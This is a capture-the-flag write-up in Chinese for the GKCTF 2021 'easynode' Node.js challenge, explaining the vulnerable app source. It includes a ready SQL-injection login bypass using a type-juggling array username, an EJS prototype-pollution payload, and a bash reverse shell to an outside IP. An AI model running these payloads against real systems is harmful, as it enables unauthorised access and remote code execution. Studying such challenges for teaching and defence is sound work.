[GKCTF 2021]easynode

2023-11-15

[GKCTF 2021]easynode

知识点:

js 弱类型

ejs 原型链污染

解题:

源码:

const express = require('express');
const format = require('string-format');
const { select,close } = require('./tools');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
const {generateToken,verifyToken}  = require('./encrypt');
var cookieParser = require('cookie-parser');
app.use(express.urlencoded({ extended: true }));
app.use(express.static((__dirname+'/public/')));
app.use(cookieParser());



let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    // console.log(sql);
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

app.get('/', async(req,res)=>{
    const html = await ejs.renderFile(__dirname + "/public/index.html")
    res.writeHead(200, {"Content-Type": "text/html"});
    res.end(html)
})
    

app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })
 

app.get("/admin",async (req,res,next) => {
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        username = result
        var sql = `select board from board where username = '${username}'`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close())));  
        board = JSON.parse(query[0].board);
        console.log(board);
        const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
        res.writeHead(200, {"Content-Type": "text/html"});
        res.end(html)
    } 
    else{
        res.json({'msg':'stop!!!'});
    }
});
  
app.post("/addAdmin",async (req,res,next) => {
    let username = req.body.username;
    let password = req.body.password;
    const token = req.cookies.token
    let result = verifyToken(token);
    if (result !='err'){
        gift = JSON.stringify({ [username]:{name:"Blue-Eyes White Dragon",ATK:"3000",DEF:"2500",URL:"https://ftp.bmp.ovh/imgs/2021/06/f66c705bd748e034.jpg"}});
        var sql = format('INSERT INTO test (username, password) VALUES ("{}","{}") ',username,password);
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        var sql = format('INSERT INTO board (username, board) VALUES (\'{}\',\'{}\') ',username,gift);
        console.log(sql);
        select(sql).then(close()).catch( (err)=>{console.log(err)});
        res.end('add admin successful!')
    }
    else{
        res.end('stop!!!');
    }
});


app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql ='select board from board';
        var query = JSON.parse(JSON.stringify(await select(sql).then(close()))); 
        board = JSON.parse(query[0].board);
        console.log(board);
        for(var key in data){
            var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( (err)=>{console.log(err)}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});



app.listen(1337, () => {
    console.log(`App listening at port 1337`)
})

大概看一下,最后我们其实就需要达到 extend 去原型链污染,而且存在 ejs 模板引擎,所以可以RCE,所以就需要获得 token 登录,最后在 /admin 路由进行渲染,打到RCE

var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
            
            extend(board,JSON.parse(addDIV));

看到这里,我们就是想让{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}} 进行 extend 操作,

所以我们就需要让 username 等于 __proto,想要这样,就需要创建用户,就回到/addAdmin路由,所以我们就需要admintoken

回到最上面,

在这里插入图片描述

这里可以输出token,所以我们只需要登录成功就行,但是它对usernamepassword进行了WAF操作,我们就想进行绕过,核心代码:

let safeQuery =  async (username,password)=>{    // 过滤username和password中的危险字符并进行select查询
    const waf = (str)=>{
        // console.log(str);
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){    // 配合 waf 函数将黑名单里的危险字符依次替换为 *
        if (waf(str[i]) =="*"){
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
    }
    return str;
    }
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));

就是判断 username 和 password 的字符是否存在黑名单,存在转换成 * ,然后一看判断是 ==,可以使用弱类型绕过,即让username 为一个数组,这样 str[i] 就是一个键值,就直接绕过了WAF,但是这样的 username 还是一个数组啊,如何插入SQL语句中造成登录成功呢,

在 JS 中,如果将如果将两个数组相加,则最终数组将被转换成一个字符串:

在这里插入图片描述

因为WAF中存在拼凑操作,所以直接POST:

username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456

疑惑一:

为什么不能直接POST:username = [“admin’#”,1,1,1,1,1,1,1,1,1,’(’]&password=123456

。。。这不很简单吗,你没有将变量添加 [],浏览器就将它当作字符串了,后面这一串都被当成字符串了

疑惑二:

为什么 username 数组的长度需要一定长,没有达到一定长就无法成功登录

这样之后SQL语句就变成:

select * from test where username = 'admin'#,1,1,1,1,1,1,1,1,1*' and password = '123456'

因此 password 被注释了,所以直接就登陆了,然后回显 token ,

在这里插入图片描述

然后用次 token 去访问 /addAdmin 去创建用户:

在这里插入图片描述

然后获取 __proto__用户的 token ,然后用此 token 去POST data 数据污染

在这里插入图片描述

注意上面这里,需要对反弹 Shell 部分的命令进行 base64 编码避免一些控制字符的干扰。因为这里的POST方法发送的不是 JSON

然后访问 /admin 路由去渲染,进入 ejs 渲染引擎,触发RCE

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[GKCTF 2021]easynode 的相关文章

随机推荐

  • SpringBoot设置和读取配置文件(1)

    SpringBoot配置文件是用来保存SpringBoot项目当中所有重要的数据的 比如说数据库连接信息 数据库的启动端口 如果端口被占用了 那么就可以随时修改 1 比如说我们之前再写JDBC的代码的时候 要去写链接字符串 用户名密码 之前
  • 进化计算-遗传算法之史上最全选择策略

    获取更多资讯 赶快关注上面的公众号吧 文章目录 第十九章 遗传算法 史上最全选择策略 19 1 轮盘赌选择 Roulette wheel selection 19 2 锦标赛选择 Tournament selection 19 3 截断选择
  • 研究B站个人收藏中已失效的视频

    扩展阅读 b站收藏的已经失效视频怎么才能继续看到呢 话说B站被删的视频还有机会恢复吗 还有该网址内容存在未知风险这种操作的么 研究B站已失效的视频 目录 1 前言说明 2 获取和研究网页源代码 3 获取和研究 JSON 文件 4 其他途径的
  • java的示例题3

    前言 整理一部分java的示例题型 在线编译 入口 java的System out println与System out print 浩星 CSDN博客前言 java基础知识之System out println System out pr
  • Python爬虫进阶——Scrapy框架原理及分布式爬虫构建

    1 Scrapy简介 1 1 概念 Scrapy是由Python语言开发的一个快速 高层次的屏幕抓取和web信息抓取框架 用于抓取web站点并从页面中提取结构化的数据 Scrapy用途广泛 可以用于数据挖掘 监测和自动化测试 Scrapy还
  • Ubuntu yolov5 环境配置

    查看Ubuntu版本 cat proc version Linux version 5 4 0 150 generic buildd bos03 amd64 012 gcc version 7 5 0 Ubuntu 7 5 0 3ubunt
  • git submodule的使用

    Git 工具的 submodule 功能就是建立了当前项目与子模块之间的依赖关系 子模块路径 子模块的远程仓库 子模块的版本号 添加submodule git submodule add
  • RESTful接口规范(带案例)

    一 主要特征 以资源为基础 Rest是web服务的一种设计思想和风格 只要符合REST原则 即为RESTful URL只指定资源 以HTTP方法动词进行不同的操作 统一接口 对资源的操作包括获取 创建 修改和删除 这些操作正好对应HTTP协
  • 摸鱼的小贤在瞎搞R - R语言内置数据集的使用

    系列文章目录 1 R语言的安装及使用 还没写这个 太简单了不太想写 2 R语言内置数据集的使用 文章都会尽量详细 话多请见谅 我是话痨 文章目录 系列文章目录 1 查看包中有哪些数据集 2 查看某一特定数据集的基本信息 3 调用内置数据集
  • BIEE Demo(RPD创建 + 分析 +仪表盘 )

    一 环境准备 日期维度 CREATE TABLE SCOTT DIM DATE DAY KEY NUMBER NULL YEAR NUMBER NULL MONTH NUMBER NULL YEAR MONTH VARCHAR2 7 CHA
  • 北斗船载终端定位导航系统解决方案

    一 方案背景 近年来 随着江河运输行业的发展和转型 船舶逐渐向大型化 智能化以及高速化的方向发展 对于整个航运业而言 愈加复杂的环境 包括自然环境以及各类突发人为事件 使得人们意识到与船舶建立良好的通信以及对船舶动态监控的重要性 北斗导航定
  • vba:消息框基础,msgbox

    常量 常量值 说明 vbOKOnly 0 只显示 确定 按钮 缺省值 VbOKCancel 1 显示 确定 和 取消 按钮 VbAbortRetryIgnore 2 显示 终止 重试 和 忽略 按钮 VbYesNoCancel 3 显示 是
  • 基于径向基(RBF)神经网络的非线性系统识别及 MATLAB 代码实现

    基于径向基 RBF 神经网络的非线性系统识别及 MATLAB 代码实现 简介 在实际工程应用中 很多系统都是非线性的 这时需要对其进行建模和预测 本文讨论了一种基于 RBF 神经网络的非线性系统识别方法 并提供相应的 MATLAB 代码实现
  • 入门图像处理与图像识别的知识框架

    小白一枚 和大家共同学习 编程基础 C 曾经我想用python来做图像处理 后来发现无论是二维图像处理 opencv 还是三维点云处理 PCL 都得学C 数据结构与算法 设计程序的基础课程 编译原理 操作系统 并行计算算法 linux等知识
  • Authz和AuthzMatrix 逻辑越权工具

    目录 一 Authz 1 下载 2 使用 1 截获数据包 2 测试 三 Authzmatrix的安装和使用 1 配置jython环境 1 官网下载 2 点击下载 3 在burpsuite里导入 2 在bapp store下载Authzmar
  • Protobuf使用手册

    Protobuf使用手册 第1章 定义 proto 文件 首先我们需要编写一个 proto 文件 定义我们程序中需要处理的结构化数据 在 protobuf 的术语中 结构化数据被称为 Message proto 文件非常类似 java 或者
  • 简单排序 冒泡排序详解 C语言入门

    欢迎关注笔者 你的支持是持续更博的最大动力 目录 问题描述 思路 代码 相关内容 其他 问题描述 给n个数按从小到大排序 冒泡排序 思路 冒泡排序 把无序部分最大元素移动到有序部分第一个元素的左边 1 一开始数列中所有元素都是无序的 2 从
  • 压缩解压缩工具(gzip/gunzip、bzip2/bunzip2、zip/unzip、xz)和打包命令(tar)

    压缩 解压 打包命令 gzip gunzip命令 1 用途 注意 2 命令的使用格式 3 gzip和gunzip实例 bzip2 bunzip2命令 1 用途 注意 2 命令使用 3 bzip2和bunzip2实例 zip unzip命令
  • Linux系统Bash shell里解决中文输入和显示乱码的问题

    在VMWARE虚拟机里安装了CentOS6 5 由于工作性质 需要在shell里输入汉字 以及显示汉字 在网上搜索了很多设置方法 但都不管用 比如 vi etc sysconfig i18n 修改 LANG zh CN UTF 8 或者无论
  • [GKCTF 2021]easynode

    GKCTF 2021 easynode 知识点 js 弱类型 ejs 原型链污染 解题 源码 const express require express const format require string format const se